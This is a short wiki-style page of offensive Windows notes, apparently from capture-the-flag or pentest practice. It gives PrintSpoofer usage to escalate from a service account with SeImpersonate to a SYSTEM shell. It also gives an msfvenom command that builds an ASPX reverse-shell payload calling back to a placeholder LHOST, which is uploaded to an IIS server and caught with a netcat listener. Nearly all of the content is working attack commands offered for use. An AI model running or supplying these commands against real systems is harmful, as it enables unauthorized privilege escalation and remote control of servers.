Windows Vulnerabilities

Printspoofer

PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.

To escalate privileges, the service account must have SeImpersonate privileges. To execute:

```
PrintSpoofer.exe -i -c cmd
```

With appropriate privileges this should grant system user shell access.

Download the repository here: https://github.com/dievus/printspoofer

IMPORTANT:
This works when you have some privileges like the Impersonate Token.
To check which tokens you are allowed to use enter following command

```
whoami /priv
```

There you see all available tokens.

IIS Webserver

Some Windows machines are running their webservice on IIS. If you were able to gain access on a Samba Share for example you can abuse the IIS Webserver to gain access on the server.

Create an executable with msfvenom

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your_ip> LPORT=<port> — platform windows -a x64 -f aspx -o shell.aspx
```

Upload the file to the webserver and open a netcat listener on your defined port: nc -lvnp <port>

Then call the shell on the webserver via the URL. And tadaa you have access.

Example: https://yebberdog.medium.com/try-hack-me-relevant-walkthrough-bf8f48a4da04

Revision #2
Created 9 July 2022 14:42:51 by Togoboi
Updated 10 July 2022 08:28:44 by Togoboi